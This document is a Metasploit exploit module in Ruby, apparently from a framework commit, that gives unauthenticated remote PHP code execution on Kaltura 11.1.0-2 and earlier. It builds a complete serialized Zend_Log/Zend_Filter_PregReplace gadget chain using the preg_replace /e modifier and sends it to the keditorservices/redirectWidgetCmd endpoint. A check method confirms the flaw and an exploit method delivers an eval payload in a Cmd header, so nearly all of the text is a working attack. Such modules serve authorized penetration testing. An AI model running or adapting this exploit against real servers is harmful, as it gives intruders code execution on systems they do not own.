Add Kaltura PHP Remote Code Execution module
Mehmet Ince
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Kaltura <= 11.1.0-2 Remote PHP Code Execution',
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'Description' => %q{
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This module exploits a Object Injection vulnerability in Kaltura.
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By exploiting this vulnerability, unauthenticated users can execute
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arbitrary code under the context of the web server user.
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Kaltura has a module named keditorservices that takes user input
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and then use it as an unserialize function parameter. The object
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constructed is based on the SektionEins Zend code execution POP chain PoC,
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with a minor modification to ensure Kaltura processes it and the
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Zend_Log function’s __destruct() method is called.
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This module was tested against Kaltura 11.1.0 installation on Ubuntu server.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Security-Assessment.com', # discovery
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'Mehmet Ince <mehmet@mehmetince.net>' # msf module
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],
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'References' =>
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[
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['URL', 'https://www.exploit-db.com/exploits/39563/']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [ ['Automatic', {}] ],
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'DisclosureDate' => 'March 15 2016',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/'])
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]
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)
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end
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def check
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r = rand_text_alpha(15 + rand(4))
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cmd = "print_r(#{r}).die()"
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p = ""
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p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
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p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
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p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
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p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
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p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
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p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
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p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
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'vars_get' => {
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'kdata' => Rex::Text.encode_base64(p)
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}
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)
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if res && res.body.include?(r)
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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cmd = "print_r(eval(base64_decode($_SERVER[HTTP_CMD]))).die()"
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p = ""
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p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
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p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
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p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
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p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
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p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
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p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
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p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
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'headers' => {
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'Cmd' => Rex::Text.encode_base64(payload.encode)
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},
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'vars_get' => {
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'kdata' => Rex::Text.encode_base64(p)
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}
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)
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end
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end
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